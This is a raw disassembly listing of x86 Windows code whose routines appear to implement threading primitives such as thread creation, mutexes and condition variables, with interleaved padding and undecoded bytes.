loc_431160: ; CODE XREF: sub_4310C0+87j
mov eax, [esi+4]
test eax, eax
jz short loc_431174
mov ecx, [esi]
mov dword ptr [esi+4], 0
sub ecx, eax
mov [esi], ecx
loc_431174: ; CODE XREF: sub_4310C0+A5j
mov eax, [esp+0Ch+arg_4]
test eax, eax
jz short loc_431189
mov edi, [esi]
mov dword ptr [esi], 0
mov [esi+8], edi
jmp short loc_431196
; ---------------------------------------------------------------------------
loc_431189: ; CODE XREF: sub_4310C0+BAj
mov eax, [esi]
mov edi, 1
mov [esi+8], edi
loc_431193: ; CODE XREF: sub_4310C0+72j
dec eax
mov [esi], eax
loc_431196: ; CODE XREF: sub_4310C0+67j
; sub_4310C0+C7j
push ebx
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_4311BE
add esi, 0Ch
push edi
push esi
call sub_402068
add esp, 8
test eax, eax
jz short loc_4311BE
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_4311BE: ; CODE XREF: sub_4310C0+E3j
; sub_4310C0+F4j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4311C4: ; CODE XREF: sub_4310C0+9j
; sub_4310C0+13j
mov eax, 16h
loc_4311C9: ; CODE XREF: sub_4310C0+32j
pop edi
pop esi
pop ebx
retn
sub_4310C0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431220 proc near ; CODE XREF: sub_40160Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4310C0
add esp, 8
retn
sub_431220 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431240 proc near ; CODE XREF: sub_40123Aj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ecx
push ebx
push esi
push edi
mov edi, 0Bh
xor ebx, ebx
call sub_401B27
mov esi, eax
test esi, esi
jz loc_431316
mov eax, [esi+28h]
push 0Ch
mov [esp+14h+var_4], eax
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_431316
mov ecx, [esp+10h+arg_8]
mov edx, [esp+10h+arg_C]
push ebp
mov ebp, [esp+14h+arg_4]
test ebp, ebp
mov [ebx], esi
mov [ebx+4], ecx
mov [ebx+8], edx
jz short loc_4312BE
mov eax, [ebp+0]
test eax, eax
jz short loc_4312BE
mov edi, [eax+8]
mov eax, [eax+0Ch]
mov [esi+20h], eax
mov eax, [ebp+0]
mov ecx, [eax+10h]
mov [esp+14h+var_4], ecx
mov ecx, [eax+14h]
test ecx, ecx
jnz short loc_4312C0
call sub_4012E4
; ---------------------------------------------------------------------------
mov edx, [eax+28h]
mov [esp+14h+var_4], edx
jmp short loc_4312C0
; ---------------------------------------------------------------------------
loc_4312BE: ; CODE XREF: sub_431240+4Dj
; sub_431240+54j
xor edi, edi
loc_4312C0: ; CODE XREF: sub_431240+6Ej
; sub_431240+7Cj
push esi
push 4
push ebx
xor eax, eax
push offset loc_401BA9
push edi
push eax
mov [esi+0Ch], eax
mov [esi+80h], eax
call near ptr 77C3A3DBh
nop
mov edi, eax
add esp, 18h
test edi, edi
mov [esi+4], edi
jz short loc_431309
test ebp, ebp
jz short loc_431302
cmp dword ptr [ebp+0], 0
jz short loc_431302
mov eax, [esp+14h+var_4]
push eax
push 0
push esi
call sub_4020D1
add esp, 0Ch
loc_431302: ; CODE XREF: sub_431240+AAj
; sub_431240+B0j
push edi
call near ptr 277040Fh
nop
loc_431309: ; CODE XREF: sub_431240+A6j
neg edi
sbb edi, edi
pop ebp
and edi, 0FFFFFFF5h
add edi, 0Bh
jz short loc_431349
loc_431316: ; CODE XREF: sub_431240+14j
; sub_431240+30j
push esi
call sub_4017B7
add esp, 4
xor esi, esi
test ebx, ebx
jz short loc_43133C
push ebx
call near ptr 77C2C21Bh
nop
mov ecx, [esp+14h+arg_0]
add esp, 4
mov eax, edi
mov [ecx], esi
pop edi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43133C: ; CODE XREF: sub_431240+E3j
mov edx, [esp+10h+arg_0]
mov eax, edi
pop edi
mov [edx], esi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_431349: ; CODE XREF: sub_431240+D4j
mov eax, [esp+10h+arg_0]
mov [eax], esi
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_431240 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4313B0: ; CODE XREF: ___:00401343j
mov ecx, [esp+8]
mov eax, 1
cmp ecx, 3 ; switch 4 cases
ja short locret_4313E7 ; default
jmp off_4313EC[ecx*4] ; switch jump
loc_4313C5: ; DATA XREF: ___:off_4313ECo
call sub_401712 ; jumptable 004313BE case 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313CD: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017BC ; jumptable 004313BE case 2
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313D5: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017CB ; jumptable 004313BE case 3
retn 0Ch
; ---------------------------------------------------------------------------
loc_4313DD: ; CODE XREF: ___:004313BEj
; DATA XREF: ___:off_4313ECo
call sub_4017CB ; jumptable 004313BE case 0
call sub_401627
locret_4313E7: ; CODE XREF: ___:004313BCj
retn 0Ch ; default
; ---------------------------------------------------------------------------
align 4
off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr
dd offset loc_4313C5 ; jump table for switch statement
dd offset loc_4313CD
dd offset loc_4313D5
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431420: ; CODE XREF: ___:004017C1j
mov eax, dword_5103C4
push esi
push edi
push eax
call sub_401190
; ---------------------------------------------------------------------------
db 8Bh, 7Ch, 24h
dd 83F08B10h, 0F68504C4h, 0E8570A75h, 77808EC7h, 4C48390h
dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_431470 proc near ; CODE XREF: sub_401762j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset dword_5108E0
xor esi, esi
nop
call near ptr 7C901005h
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_43149B
mov eax, [eax+4]
test eax, eax
jz short loc_43149B
push eax
call near ptr 2760A39h
nop
cmp eax, 7FFFFFFFh
jnz short loc_4314A0
loc_43149B: ; CODE XREF: sub_431470+14j
; sub_431470+1Bj
mov esi, 3
loc_4314A0: ; CODE XREF: sub_431470+29j
push offset dword_5108E0
nop
call near ptr 7C9010EDh
test esi, esi
jnz short loc_4314BC
mov eax, [esp+4+arg_4]
test eax, eax
mov eax, 16h
jnz short loc_4314BE
loc_4314BC: ; CODE XREF: sub_431470+3Dj
mov eax, esi
loc_4314BE: ; CODE XREF: sub_431470+4Aj
pop esi
retn
sub_431470 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4314E0: ; CODE XREF: ___:00401654j
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz short loc_431531
mov edi, [esp+14h]
test edi, edi
jz short loc_431531
mov eax, [esi]
xor ebx, ebx
test eax, eax
jnz short loc_431511
lea eax, [esi+4]
push eax
nop
call near ptr 27609AEh
test eax, eax
jnz short loc_431517
call edi ; _errno
mov dword ptr [esi], 1
loc_431511: ; CODE XREF: ___:004314F9j
; ___:0043151Aj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431517: ; CODE XREF: ___:00431507j
cmp dword ptr [esi], 0
jnz short loc_431511
mov edi, dword_5118D8
loc_431522: ; CODE XREF: ___:00431529j
push 0
call edi
cmp dword ptr [esi], 0
jz short loc_431522
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_431531: ; CODE XREF: ___:004314E9j
; ___:004314F1j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431560 proc near ; CODE XREF: sub_4012E4j
mov eax, dword_5103C4
push esi
push edi
push eax
call sub_401190
sub_431560 endp
; ---------------------------------------------------------------------------
db 8Bh, 0F0h, 83h
dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
dd 1B8h, 53F80B00h, 897C7E89h, 32E82046h, 900232EEh, 187C1D8Bh
dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 7E89050h
dd 500235ECh, 9050D3FFh, 32EE47E8h, 5BC08502h, 0E8560E75h
dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 232F461h
dd 28468990h, 3C4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh
dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_431630 proc near ; CODE XREF: sub_401A64j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jnz short loc_43164E
test eax, eax
jz short loc_431648
mov eax, [eax]
mov edx, [ecx]
cmp eax, edx
jnz short loc_43164E
loc_431648: ; CODE XREF: sub_431630+Ej
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43164E: ; CODE XREF: sub_431630+Aj
; sub_431630+16j
xor eax, eax
retn
sub_431630 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431670: ; CODE XREF: ___:0040200Ej
mov eax, [esp+4]
test eax, eax
jge short loc_43167E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43167E: ; CODE XREF: ___:00431676j
mov dword_5103D4, eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4316A0: ; CODE XREF: ___:00401564j
mov eax, dword_5103D4
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4316C0 proc near ; CODE XREF: sub_401B27j
push esi
call sub_401307
mov esi, eax
test esi, esi
jnz short loc_4316E2
push 84h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_431729
loc_4316E2: ; CODE XREF: sub_4316C0+Aj
push 0
push 0
or eax, 0FFFFFFFFh
push 1
push 0
mov dword ptr [esi+28h], 0
mov dword ptr [esi+20h], 0
mov dword ptr [esi+30h], 0
mov dword ptr [esi+34h], 1
mov [esi+2Ch], eax
mov [esi+24h], eax
nop
call near ptr 2760000h
test eax, eax
mov [esi+38h], eax
jnz short loc_431729
push esi
call sub_401BD1
add esp, 4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_431729: ; CODE XREF: sub_4316C0+20j
; sub_4316C0+5Aj
mov eax, esi
pop esi
retn
sub_4316C0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431750 proc near ; CODE XREF: sub_401307j
push esi
push offset dword_5108E0
nop
call near ptr 7C901005h
mov esi, dword_447710
cmp esi, 1
jz short loc_431785
mov eax, [esi+8]
push offset dword_5108E0
mov dword_447710, eax
mov dword ptr [esi+8], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431785: ; CODE XREF: sub_431750+15j
push offset dword_5108E0
xor esi, esi
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
sub_431750 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4317C0 proc near ; CODE XREF: sub_401BD1j
arg_0 = dword ptr 4
push edi
push offset dword_5108E0
call near ptr 7C901005h
nop
mov edx, [esp+4+arg_0]
mov ecx, 21h
xor eax, eax
mov edi, edx
rep stosd
mov eax, dword_447710
push offset dword_5108E0
mov [edx+8], eax
mov dword_447710, edx
call near ptr 7C9010EDh
nop
pop edi
retn
sub_4317C0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431810 proc near ; CODE XREF: sub_40164Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh
push eax
call sub_431830
sub_431810 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431830 proc near ; CODE XREF: sub_431810+7p
; sub_431950+Ap
var_8 = dword ptr -8
arg_0 = dword ptr 4
sub esp, 8
mov eax, [esp+8+arg_0]
push esi
push edi
mov edi, 1
mov [esp+10h+var_8], eax
call sub_4012E4
sub_431830 endp
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jz short loc_431866
mov eax, [esi+30h]
test eax, eax
jnz short loc_43186E
mov eax, [esi+38h]
test eax, eax
mov [esp+0Ch], eax
jz short loc_43186E
mov edi, 2
jmp short loc_43186E
; ---------------------------------------------------------------------------
loc_431866: ; CODE XREF: ___:0043184Bj
mov dword ptr [esp+0Ch], 0
loc_43186E: ; CODE XREF: ___:00431852j
; ___:0043185Dj ...
mov ecx, [esp+18h]
lea edx, [esp+8]
push ecx
push 0
push edx
push edi
call near ptr 2750D94h
nop
mov ecx, eax
sub ecx, 0
jz short loc_4318F9
dec ecx
jz short loc_4318A4
sub eax, 102h
pop edi
neg eax
sbb eax, eax
pop esi
and eax, 0FFFFD8CAh
add eax, 274Ch
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4318A4: ; CODE XREF: ___:00431889j
mov eax, [esp+0Ch]
push eax
nop
call near ptr 27708E8h
test esi, esi
jz short loc_4318EE
lea edi, [esi+2Ch]
push edi
call sub_402248
mov ecx, [esi+0Ch]
mov eax, 3
add esp, 4
cmp ecx, eax
jge short loc_4318E5
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DED
; ---------------------------------------------------------------------------
add esp, 8
loc_4318E5: ; CODE XREF: ___:004318C9j
push edi
call sub_4010C3
add esp, 4
loc_4318EE: ; CODE XREF: ___:004318B1j
pop edi
mov eax, 16h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4318F9: ; CODE XREF: ___:00431886j
pop edi
xor eax, eax
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_431950 proc near ; CODE XREF: sub_401D84j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_431830
sub_431950 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431980 proc near ; CODE XREF: sub_401C17j
arg_0 = dword ptr 4
push esi
push offset dword_510940
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_4319B4
push esi
push ecx
call sub_4021BC
add esp, 8
mov esi, eax
push offset dword_510940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4319B4: ; CODE XREF: sub_431980+17j
test eax, eax
jnz short loc_4319BD
mov esi, 16h
loc_4319BD: ; CODE XREF: sub_431980+36j
push offset dword_510940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_431980 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4319F0 proc near ; CODE XREF: sub_4021BCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebp
xor ebp, ebp
push edi
test eax, eax
jnz short loc_431A04
pop edi
mov eax, 16h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A04: ; CODE XREF: sub_4319F0+Aj
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_431A1F
mov eax, [edi]
test eax, eax
jz short loc_431A1F
cmp dword ptr [eax], 1
jnz short loc_431A1F
pop edi
mov eax, 28h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A1F: ; CODE XREF: sub_4319F0+1Aj
; sub_4319F0+20j ...
push esi
push 2Ch
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_431A44
mov edx, [esp+0Ch+arg_0]
mov ebp, 0Ch
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A44: ; CODE XREF: sub_4319F0+41j
test edi, edi
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0
jz short loc_431A60
mov edi, [edi]
test edi, edi
jz short loc_431A60
mov edi, [edi+4]
jmp short loc_431A62
; ---------------------------------------------------------------------------
loc_431A60: ; CODE XREF: sub_4319F0+63j
; sub_4319F0+69j
xor edi, edi
loc_431A62: ; CODE XREF: sub_4319F0+6Ej
push 0
lea eax, [esi+10h]
push 0
push eax
mov [esi+8], edi
mov dword ptr [esi+0Ch], 0
call sub_401C8A
add esp, 0Ch
test eax, eax
jz short loc_431A9D
push esi
mov ebp, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431A9D: ; CODE XREF: sub_4319F0+8Ej
lea ecx, [esi+14h]
push ecx
call near ptr 2780DF8h
nop
mov edx, [esp+0Ch+arg_0]
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
sub_4319F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431B00 proc near ; CODE XREF: sub_402252j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
test edi, edi
jz loc_431BE0
mov eax, [edi]
test eax, eax
jz loc_431BE0
cmp eax, 0FFFFFFFFh
jz loc_431BA5
mov [esp+8+arg_0], eax
lea eax, [esp+8+arg_0]
push eax
call sub_401785
mov esi, eax
add esp, 4
test esi, esi
jnz loc_431BDB
mov ecx, [esp+8+arg_0]
mov eax, [ecx+4]
cmp eax, 1
jnz short loc_431B97
lea ecx, [esp+8+arg_0]
mov [edi], esi
push ecx
call sub_4010C3
mov edx, [esp+0Ch+arg_0]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_431B90
add edx, 10h
push edx
call sub_401690
mov eax, [esp+0Ch+arg_0]
add esp, 4
add eax, 14h
push eax
nop
call near ptr 27806CFh
mov ecx, [esp+8+arg_0]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B90: ; CODE XREF: sub_431B00+61j
mov [edi], edx
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431B97: ; CODE XREF: sub_431B00+48j
dec eax
mov esi, 10h
mov [ecx+4], eax
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BA5: ; CODE XREF: sub_431B00+1Dj
push offset dword_510940
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_431BCB
push offset dword_510940
mov dword ptr [edi], 0
call near ptr 7C9010EDh
nop
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BCB: ; CODE XREF: sub_431B00+B3j
push offset dword_510940
mov esi, 10h
nop
call near ptr 7C9010EDh
loc_431BDB: ; CODE XREF: sub_431B00+38j
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431BE0: ; CODE XREF: sub_431B00+Aj
; sub_431B00+14j
pop edi
mov eax, 16h
pop esi
retn
sub_431B00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431C30 proc near ; CODE XREF: sub_401A1Ej
arg_0 = dword ptr 4
push esi
push 8
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
cmp eax, esi
jnz short loc_431C53
mov edx, [esp+4+arg_0]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_431C53: ; CODE XREF: sub_431C30+12j
mov ecx, [esp+4+arg_0]
mov [eax], esi
mov [eax+4], esi
mov [ecx], eax
mov eax, esi
pop esi
retn
sub_431C30 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431C80 proc near ; CODE XREF: sub_4010AAj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
test ecx, ecx
jz short loc_431CA1
mov eax, [ecx]
test eax, eax
jz short loc_431CA1
push eax
mov [ecx], esi
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431CA1: ; CODE XREF: sub_431C80+9j
; sub_431C80+Fj
mov eax, 16h
pop esi
retn
sub_431C80 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431CC0: ; CODE XREF: ___:00401BBDj
mov eax, [esp+4]
test eax, eax
jz short loc_431CDD
mov eax, [eax]
test eax, eax
jz short loc_431CDD
mov ecx, [esp+8]
test ecx, ecx
jz short loc_431CDD
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_431CDD: ; CODE XREF: ___:00431CC6j
; ___:00431CCCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_431D00: ; CODE XREF: ___:00401906j
mov eax, [esp+4]
test eax, eax
jz short loc_431D2A
mov ecx, [eax]
test ecx, ecx
jz short loc_431D2A
mov eax, [esp+8]
cmp eax, 1
jz short loc_431D1E
test eax, eax
jnz short loc_431D2A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_431D1E: ; CODE XREF: ___:00431D15j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_431D2A: ; CODE XREF: ___:00431D06j
; ___:00431D0Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431D40 proc near ; CODE XREF: sub_40119Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_431D61
mov ecx, [ecx]
test ecx, ecx
jz short loc_431D61
mov edx, [esp+arg_4]
test edx, edx
jl short loc_431D61
cmp edx, 2
jg short loc_431D61
mov [ecx+4], edx
retn
; ---------------------------------------------------------------------------
loc_431D61: ; CODE XREF: sub_431D40+8j
; sub_431D40+Ej ...
mov eax, 16h
retn
sub_431D40 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431D80 proc near ; CODE XREF: sub_4018CFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_431D9E
mov ecx, [ecx]
test ecx, ecx
jz short loc_431D9E
mov edx, [esp+arg_4]
test edx, edx
jz short loc_431D9E
mov ecx, [ecx+4]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_431D9E: ; CODE XREF: sub_431D80+8j
; sub_431D80+Ej ...
mov eax, 16h
retn
sub_431D80 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431DC0 proc near ; CODE XREF: sub_402248j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
test esi, esi
jz loc_431E77
mov eax, [esi]
test eax, eax
jz loc_431E77
cmp eax, 0FFFFFFFFh
jnz short loc_431DF1
push esi
call sub_401C17
mov edi, eax
add esp, 4
test edi, edi
jz short loc_431DF1
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431DF1: ; CODE XREF: sub_431DC0+1Dj
; sub_431DC0+2Cj
mov esi, [esi]
push esi
nop
call near ptr 27609AEh
test eax, eax
jnz short loc_431E1A
loc_431DFE: ; CODE XREF: sub_431DC0+A8j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz short loc_431E12
call sub_4012E4
; ---------------------------------------------------------------------------
loc_431E12: ; CODE XREF: sub_431DC0+4Bj
mov [esi+0Ch], eax
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E1A: ; CODE XREF: sub_431DC0+3Cj
mov eax, [esi+8]
test eax, eax
jz short loc_431E5A
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0EBC8E890h
dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E5A: ; CODE XREF: sub_431DC0+5Fj
lea ecx, [esi+10h]
push ecx
call sub_431EB0
add esp, 4
test eax, eax
jz short loc_431DFE
nop
call near ptr 77C1F2BCh
mov edi, [eax]
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_431E77: ; CODE XREF: sub_431DC0+Aj
; sub_431DC0+14j
pop edi
mov eax, 16h
pop esi
retn
sub_431DC0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jz short loc_431ECA
mov eax, [eax]
push 0FFFFFFFFh
mov ecx, [eax]
push ecx
call near ptr 27707F3h
nop
test eax, eax
jnz short loc_431ECA
retn
; ---------------------------------------------------------------------------
loc_431ECA: ; CODE XREF: sub_431EB0+6j
; sub_431EB0+17j
nop
call near ptr 77C1F2BCh
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
retn
sub_431EB0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_431EF0 proc near ; CODE XREF: sub_401BD6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
push esi
mov esi, [esp+8+arg_0]
xor ebp, ebp
test esi, esi
jz loc_432088
mov eax, [esi]
test eax, eax
jz loc_432088
cmp eax, 0FFFFFFFFh
jnz short loc_431F21
push esi
call sub_401C17
mov ebp, eax
add esp, 4
test ebp, ebp
jz short loc_431F21
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F21: ; CODE XREF: sub_431EF0+1Dj
; sub_431EF0+2Cj
mov esi, [esi]
push ebx
push edi
push esi
nop
call near ptr 27609AEh
test eax, eax
jnz short loc_431F52
loc_431F30: ; CODE XREF: sub_431EF0+175j
mov ecx, [esi+8]
mov eax, 1
test ecx, ecx
mov [esi+4], eax
jz loc_43207E
call sub_4012E4
; ---------------------------------------------------------------------------
pop edi
mov [esi+0Ch], eax
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F52: ; CODE XREF: sub_431EF0+3Ej
mov eax, [esi+8]
test eax, eax
jz short loc_431F96
call sub_4012E4
; ---------------------------------------------------------------------------
dw 8B50h
dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0EA90E890h
dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431F96: ; CODE XREF: sub_431EF0+67j
mov eax, [esp+10h+arg_4]
test eax, eax
jnz short loc_431FAA
mov ebp, 16h
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431FAA: ; CODE XREF: sub_431EF0+ACj
lea edi, [esi+10h]
push eax
push edi
call sub_432100
add esp, 8
sub eax, 0
jz loc_43206A
dec eax
jz short loc_432034
dec eax
jz short loc_431FD5
call near ptr 77C1F2BCh
nop
mov ebp, [eax]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_431FD5: ; CODE XREF: sub_431EF0+D4j
lea ebx, [esi+14h]
push ebx
call near ptr 7C901005h
nop
push edi
mov ebp, 274Ch
call sub_4010A5
add esp, 4
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_432007
nop
call near ptr 2770A06h
push ebx
nop
